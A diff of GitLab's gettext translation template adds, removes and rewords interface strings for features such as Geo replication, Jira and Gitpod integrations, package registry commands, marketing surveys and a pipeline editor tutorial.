msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
